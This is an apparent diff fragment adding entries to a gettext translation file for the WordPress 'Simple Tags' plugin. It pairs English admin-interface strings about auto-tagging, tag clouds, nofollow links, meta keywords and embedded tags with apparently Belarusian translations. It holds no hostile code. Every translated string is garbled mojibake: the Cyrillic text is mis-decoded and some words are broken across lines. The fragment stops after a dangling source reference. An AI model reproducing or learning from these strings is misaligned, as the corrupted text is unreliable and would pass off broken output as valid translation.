+msgstr "Simple Tags ÐŒÐŸÐ¶Ð° ÑÐ°ÐºÑÐ°ÐŒÐ° ÐŽÐ°ÐŽÐ°ÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ñ ÑÐ²ÐµÑÑ ÐœÐ°ÑÑÐœÑ ÐºÐ°ÐœÑÑÐœÑ Ð²Ð°ÑÐ°Ð³Ð° Ð±Ð»ÐŸÐ³Ð°. ÐÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ Ð²ÑÐºÐ°ÑÑÑÑÐ°Ðµ ÑÐ¿ÑÑ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ð·Ð°ÐŽÐ°ÐŽÐ·ÐµÐœÑ Ð²ÑÑÑÐ¹."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:238
+msgid "Auto tags all content"
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° Ð¿Ð°Ð·ÐœÐ°ÑÑÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ ÑÐ²ÐµÑÑ ÐºÐ°ÐœÑÑÐœÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:259
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:288
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:167
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr "ÐÐ°Ð»Ñ Ð²Ð°Ñ Ð±ÑÐ°ÑÐ·ÑÑ ÐœÐµ Ð¿Ð°ÑÑÐœÐ°Ðµ Ð·Ð°Ð³ÑÑÐ·ÐºÑ ÐœÐ°ÑÑÑÐ¿ÐœÐ°Ð¹ ÑÑÐ°ÑÐŸÐœÐºÑ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ°, Ð¿ÑÑÑÑÐºÐœÑÑÐµ Ð¿Ð° Ð³ÑÑÐ°Ð¹ ÑÐ¿Ð°ÑÑÐ»ÑÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:259
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:288
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:167
+msgid "Next content"
+msgstr "ÐÐ°ÑÑÑÐ¿ÐœÑ ÐºÐ°ÐœÑÑÐœÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:271
+msgid "All done!"
+msgstr "ÐÑÑÐµ Ð³Ð°ÑÐŸÐ²Ð°!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:287
+msgid "Include page in tag search:"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ Ñ Ð¿ÐŸÑÑÐº Ð¿Ð° Ð¿Ð°Ð·ÐœÐ°ÐºÐ°Ñ
+:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:288
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr "ÐÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ Ð¿Ð°ÑÑÐ°Ð±ÑÐµ, ÐºÐ°Ð± ÐŸÐ¿ÑÑÑ \"Ð£ÐºÐ»ÑÑÑÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ Ñ Ð¿ÐŸÑÑÐº Ð¿Ð° Ð¿Ð°Ð·ÐœÐ°ÐºÐ°Ñ
+\" Ð±ÑÐ»Ð° ÑÐºÐ»ÑÑÐ°ÐœÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:289
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:319
+msgid "Allow tag cloud in post/page content:"
+msgstr "ÐÐ°Ð·Ð²ÐŸÐ»ÑÑÑ Ð²ÐŸÐ±Ð»Ð°ÐºÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ñ Ð·ÐŒÐµÑÑÑÐ²Ðµ Ð·Ð°Ð¿ÑÑÑ/ÑÑÐ°ÑÐŸÐœÐºÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:290
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:320
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr "Ð£ÐºÐ»ÑÑÑÐœÐœÐµ Ð³ÑÑÐ°Ð¹ ÑÑÐœÐºÑÑÑ ÐŽÐ°Ð·Ð²ÐŸÐ»ÑÑÑ Wordpress Ð¿ÑÐ°Ð³Ð»ÑÐŽÐ°ÑÑ ÐŒÐ°ÑÐºÐµÑ Ð²ÐŸÐ±Ð»Ð°ÐºÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº <strong>&lt;!--st_tag_cloud--&gt;</strong> Ð¿ÑÑ Ð¿Ð°ÐºÐ°Ð·Ðµ Ð·Ð°Ð¿ÑÑÐ°Ñ. WP Ð·Ð°ÐŒÐµÐœÑÑÑ Ð³ÑÑÑ ÐŒÐ°ÑÐºÐµÑ Ð²ÐŸÐ±Ð»Ð°ÐºÐ°ÐŒ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:291
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:321
+msgid "Active auto link tags into post content:"
+msgstr "ÐÐºÑÑÐ²Ð°Ð²Ð°ÑÑ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ñ Ð·ÐŒÐµÑÑÑÐ²Ðµ Ð·Ð°Ð¿ÑÑÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:292
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:322
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr "ÐÐ°Ð¿ÑÑÐºÐ»Ð°ÐŽ: ÐÑ ÐŒÐ°ÐµÑÐµ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð· ÐœÐ°Ð·ÐŸÐ²Ð°ÐŒ \"WordPress\" Ñ Ð²Ð°ÑÐ° Ð·ÐŒÐµÑÑÑÐ²Ð° Ð²Ð°ÑÐ°Ð³Ð° Ð·Ð°Ð¿ÑÑÑ ÑÑÐ°ÑÐœÑ ÑÐ»ÐŸÐ²Ð° \"wordpress\", Ð³ÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ Ð·Ð°ÐŒÐµÐœÑÑÑ \"wordpress\" ÐœÐ° ÑÐ¿Ð°ÑÑÐ»ÐºÑ ÑÑÐ°ÑÐŸÐœÐºÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ \"wordpress\" . (http://myblog.net/tag/wordpress/)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:293
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:323
+msgid "Min usage for auto link tags:"
+msgstr "ÐÑÐœÑÐŒÐ°Ð»ÑÐœÐ°Ðµ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÐœÐœÐµ ÐŽÐ»Ñ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ
+ ÑÐ¿Ð°ÑÑÐ»Ð°Ðº Ð· Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:294
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:324
+msgid "This parameter allows to fix a minimal value of use of tags. Default: 1."
+msgstr "ÐÑÑÑ Ð¿Ð°ÑÐ°ÐŒÐµÑÑ ÐŽÐ°Ð·Ð²Ð°Ð»ÑÐµ ÑÑÐºÑÐ°Ð²Ð°ÑÑ ÐŒÑÐœÑÐŒÐ°Ð»ÑÐœÐ°Ðµ Ð·ÐœÐ°ÑÑÐœÐœÑ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÐœÐœÐµ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº. ÐÐ° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ: 1."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:295
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:325
+msgid "Ignore case for auto link feature ?"
+msgstr "ÐÐ³ÐœÐ°ÑÐ°Ð²Ð°ÑÑ ÑÑÐ³ÑÑÑÑ Ñ ÑÑÐœÐºÑÑÑ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ
+ ÑÐ¿Ð°ÑÑÐ»Ð°Ðº?"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:296
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:326
+msgid "Example: If you ignore case, auto link feature will replace the word \"wordpress\" by the tag link \"WordPress\"."
+msgstr "ÐÐ°Ð¿ÑÑÐºÐ»Ð°ÐŽ: ÐÐ°Ð»Ñ Ð²Ñ ÑÐ³ÐœÐ°ÑÑÐµÑÐµ ÑÑÐ³ÑÑÑÑ, ÑÑÐœÐºÑÑÑ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ
+ ÑÐ¿Ð°ÑÑÐ»Ð°Ðº Ð·Ð°ÐŒÐµÐœÑÑÑ ÑÐ»ÐŸÐ²Ð° \"wordpress\" ÑÐ¿Ð°ÑÑÐ»ÐºÐ°Ð¹ ÐœÐ° Ð¿Ð°Ð·ÐœÐ°ÐºÑ \"WordPress\"."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:297
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:327
+msgid "Add the rel=\"nofollow\" on each tags link ?"
+msgstr "ÐÐ°ÐŽÐ°ÑÑ rel=\"nofollow\" Ñ ÐºÐŸÐ¶ÐœÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ ?"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:298
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:328
+msgid "Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index."
+msgstr "Nofollow - Ð³ÑÑÐ°Ðµ ÐœÐµÑÑÐ°ÐœÐŽÐ°ÑÑÐœÐ°Ðµ Ð·ÐœÐ°ÑÑÐœÐœÐµ Ð°ÑÑÑÐ±ÑÑÑ HTML, Ð²ÑÐºÐ°ÑÑÑÑÐŸÑÐ²Ð°ÐœÐ°Ðµ ÐŽÐ»Ñ ÑÐºÐ°Ð·Ð°ÐœÐœÑ Ð¿ÐŸÑÑÐºÐ°Ð²ÑÐŒ ÑÑÑÑÑÐŒÐ°ÐŒ, ÑÑÐŸ Ð³ÑÐ¿ÐµÑÑÐ¿Ð°ÑÑÐ»ÐºÑ ÐœÐµ Ð¿Ð°Ð²ÑÐœÐœÑ ÑÐ¿Ð»ÑÐ²Ð°ÑÑ ÐœÐ° ÑÑÐ¹ÑÑÐœÐ³ ÐŒÑÑÐ°Ð²Ð°Ð¹ ÑÐ¿Ð°ÑÑÐ»ÐºÑ Ñ ÑÐœÐŽÑÐºÑÐµ Ð¿ÐŸÑÑÐºÐ°Ð²Ð°Ð¹ ÑÑÑÑÑÐŒÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:301
+msgid "Add page in tags management:"
+msgstr "ÐÐ°ÐŽÐ°ÑÑ ÑÐ²ÐŸÐŽ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ñ ÑÑÐ°ÑÐŸÐœÐºÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:302
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr "ÐÐ°ÐŽÐ°ÑÑ ÑÐ²ÐŸÐŽ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº (Ñ ÐŒÐ°Ð³ÑÑÐŒÐ°ÑÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ð·Ð°Ð¿ÑÑÐ°Ñ) Ñ ÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐœÐµ ÑÑÐ°ÑÐŸÐœÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:303
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:331
+msgid "Activate click tags feature:"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ ÑÑÐœÐºÑÑÑ Ð·Ð³ÑÐ°Ð¹-Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:304
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:332
+msgid "This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post."
+msgstr "ÐÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ ÐŽÐ°ÐŽÐ°ÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ, ÑÐºÐ°Ñ ÐŽÐ°Ð·Ð²Ð°Ð»ÑÐµ Ð²Ð°ÐŒ Ð¿Ð°ÐºÐ°Ð·Ð°ÑÑ ÑÑÐµ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð· Ð±Ð°Ð·Ñ ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ
+. ÐÐ°ÑÐ»Ñ ÑÐ°Ð³ÐŸ ÑÐº Ð¿Ð°ÐœÑÐ»Ñ Ð· Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ Ð±ÑÐŽÐ·Ðµ Ð¿Ð°ÐºÐ°Ð·Ñ, Ð²Ñ Ð·ÐŒÐŸÐ¶Ð°ÑÐµ ÐŽÐ°ÐŽÐ°Ð²Ð°ÑÑ ÑÑ
+ ÐŽÐ° Ð·Ð°Ð¿ÑÑÑ Ð¿ÑÐŸÑÑÐ° ÐºÐ»ÑÑÑÑÑ Ð¿Ð° ÐœÐ°Ð·ÐŸÐ²Ð°Ñ
+."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:305
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:333
+msgid "Activate autocompletion feature:"
+msgstr "ÐÐºÑÑÐ²Ð°Ð²Ð°ÑÑ ÑÑÐœÐºÑÑÑ Ð°ÑÑÐ°Ð·Ð°Ð²ÑÑÑÑÐœÐœÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:306
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:334
+msgid "This feature displays a visual help allowing to enter tags more easily."
+msgstr "ÐÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ Ð¿Ð°ÐºÐ°Ð¶Ð° Ð²ÑÐ·ÑÐ°Ð»ÑÐœÑÑ ÐŽÐ°Ð¿Ð°ÐŒÐŸÐ³Ñ, ÑÐºÐ°Ñ ÐŽÐ°Ð·Ð²Ð°Ð»ÑÐµ ÑÐ²ÐŸÐŽÐ·ÑÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð¿ÑÐ°ÑÑÐµÐ¹ÑÐ°Ðµ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:307
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:335
+msgid "Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ ÑÑÐœÐºÑÑÑ Ð¿ÑÑÐŽÐ°ÑÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº: (Yahoo! Term Extraction API, Tag The Net, ÐÐ°ÐºÐ°Ð»ÑÐœÐ°Ñ ÐÐ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:308
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:336
+msgid "This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)"
+msgstr "ÐÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ ÐŽÐ°ÐŽÐ°ÑÑÑ Ð±Ð»ÐŸÐº, ÑÐºÑ ÐŽÐ°Ð·Ð²Ð°Ð»ÑÐµ Ð°ÑÑÑÐŒÐ°ÑÑ Ð¿ÑÑÐŽÐ°ÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ, Ð¿Ð°ÑÐ°ÑÐœÐŸÑÐ²Ð°ÑÑÑ Ð·ÐŒÐµÑÑÑÐ²Ð° Ð·Ð°Ð¿ÑÑÑ Ñ Ð°ÐŽÐ·ÑÐœ Ð· ÐºÑÑÐœÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº. (Ð·ÐœÐµÑÐœÑ Ð°Ð±ÐŸ ÑÐœÑÑÑÐ°ÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:311
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:339
+msgid "Automatically include in header:"
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° ÑÐºÐ»ÑÑÐ°ÑÑ Ñ Ð·Ð°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº (header):"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:312
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is disabled."
+msgstr "Ð£ÐºÐ»ÑÑÐ°Ðµ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ñ meta keywords Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° Ñ Ð²Ð°Ñ Ð·Ð°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº (Ð±ÐŸÐ»ÑÑÐ°ÑÑÑ, Ð°Ð»Ðµ ÐœÐµ ÑÑÐµ ÑÑÐŒÑ Ð¿Ð°ÐŽÑÑÑÐŒÐ»ÑÐ²Ð°ÑÑÑ Ð³ÑÑÐ°). ÐÑÑÑÑ ÐºÐ»ÑÑÐ°Ð²ÑÑ ÑÐ°ÑÐ°ÐŒ Ð²ÑÐºÐ°ÑÑÑÑÐŸÑÐ²Ð°ÑÑÑÐ° Ð¿ÐŸÑÑÐºÐ°Ð²ÑÐŒÑ ÐŒÐ°ÑÑÐœÐ°ÐŒÑ. <br /><strong>Ð£Ð²Ð°Ð³Ð°:</strong> ÐÐ°Ð»Ñ ÑÐ±ÑÐŽÐŸÐ²Ð° \"All in One SEO Pack\" ÑÑÑÐ°Ð»ÑÐ²Ð°ÐœÑ Ñ ÑÐºÐ»ÑÑÐ°ÐœÑ,Ð³ÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ Ð±ÑÐŽÐ·Ðµ Ð°ÐŽÐºÐ»ÑÑÐ°ÐœÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:313
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:341
+msgid "Always add these keywords:"
+msgstr "ÐÐ°ÑÑÑÐŽÑ ÐŽÐ°ÐŽÐ°Ð²Ð°ÑÑ Ð³ÑÑÑÑ ÐºÐ»ÑÑÐ°Ð²ÑÑ ÑÐ»ÐŸÐ²Ñ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:314
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:342
+msgid "Max keywords display:"
+msgstr "ÐÐ°ÐºÐ°Ð·Ð²Ð°ÑÑ ÐŒÐ°ÐºÑÑÐŒÑÐŒ ÐºÐ»ÑÑÐ°Ð²ÑÑ
+ ÑÐ»ÐŸÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:315
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:343
+msgid "You must set zero (0) for display all keywords in HTML header."
+msgstr "ÐÑ Ð¿Ð°Ð²ÑÐœÐœÑ ÑÑÑÐ°Ð»ÑÐ²Ð°ÑÑ Ð·ÐœÐ°ÑÑÐœÐœÐµ Ñ ÐœÑÐ»Ñ (0) ÐºÐ°Ð± Ð¿Ð°ÐºÐ°Ð·Ð°ÑÑ ÑÑÐµ ÐºÐ»ÑÑÐ°Ð²ÑÑ ÑÐ»ÐŸÐ²Ñ Ñ Ð·Ð°Ð³Ð°Ð»ÐŸÑÐºÑ HTML."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:318
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:346
+msgid "Use embedded tags:"
+msgstr "ÐÑÐºÐ°ÑÑÑÑÐ°ÑÑ ÑÐ±ÑÐŽÐ°Ð²Ð°Ð»ÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:319
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:347
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
+msgstr "ÐÐºÑÑÐ²Ð°ÑÑÑ Ð³ÑÑÐ°Ð¹ ÐŸÐ¿ÑÑÑ ÐŽÐ°ÑÑÑ ÐºÐ°ÐŒÐ°ÐœÐŽÑ Wordpress ÑÑÐºÐ°ÑÑ ÑÐ±ÑÐŽÐ°Ð²Ð°Ð»ÑÐœÑÑ (embedded) Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð¿ÑÑ Ð·Ð°Ñ
+Ð°Ð²Ð°ÐœÐœÑ Ñ Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ Ð·Ð°Ð¿ÑÑÐ°Ñ. Ð¢Ð°Ðº, ÐœÐ°Ð±ÐŸÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº, Ð¿Ð°Ð·ÐœÐ°ÑÐ°ÐœÑÑ
+ <code>[tags]like this, and this[/tags]</code> ÐŽÐ°ÐŽÐ°ÐµÑÑÐ° Ñ Ð·Ð°Ð¿ÑÑ Ð¿ÑÑ Ð·Ð°Ñ
+Ð°Ð²Ð°ÐœÐœÑ, Ð°Ð»Ðµ ÐœÐµ Ð°ÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÐµÑÑÐ° Ñ Ð·Ð°Ð¿ÑÑÐ°."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:320
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:348
+msgid "Prefix for embedded tags:"
+msgstr "ÐÑÑÑÑÐºÑ ÐŽÐ»Ñ ÑÐ±ÑÐŽÐ°Ð²Ð°Ð»ÑÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:321
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:349
+msgid "Suffix for embedded tags:"
+msgstr "Ð¡ÑÑÑÐºÑ ÐŽÐ»Ñ ÑÐ±ÑÐŽÐ°Ð²Ð°Ð»ÑÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:324
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:352
+msgid "Automatically display tags list into feeds"
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° Ð°ÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÑÑ ÑÐ¿ÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ñ ÑÐžÐŽÐ°Ñ
+"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:325
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:353
+msgid "Automatically display tags list into post content:"
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° Ð°ÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÑÑ ÑÐ¿ÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ñ Ð·ÐŒÐµÑÑÑÐ²Ðµ Ð·Ð°Ð¿ÑÑÐ°Ñ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:327
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:351
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:355
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:379
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr "<code>no</code> &ndash; ÐÑÐŽÐ·Ðµ (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:328
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:352
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:356
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:380
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr "<code>all</code> &ndash; ÐÐ° Ð²Ð°ÑÑÐŒ Ð±Ð»ÐŸÐ³Ñ Ñ Ñ RSS ÑÑÑÐ¶ÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:329
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:353
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:357
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:381
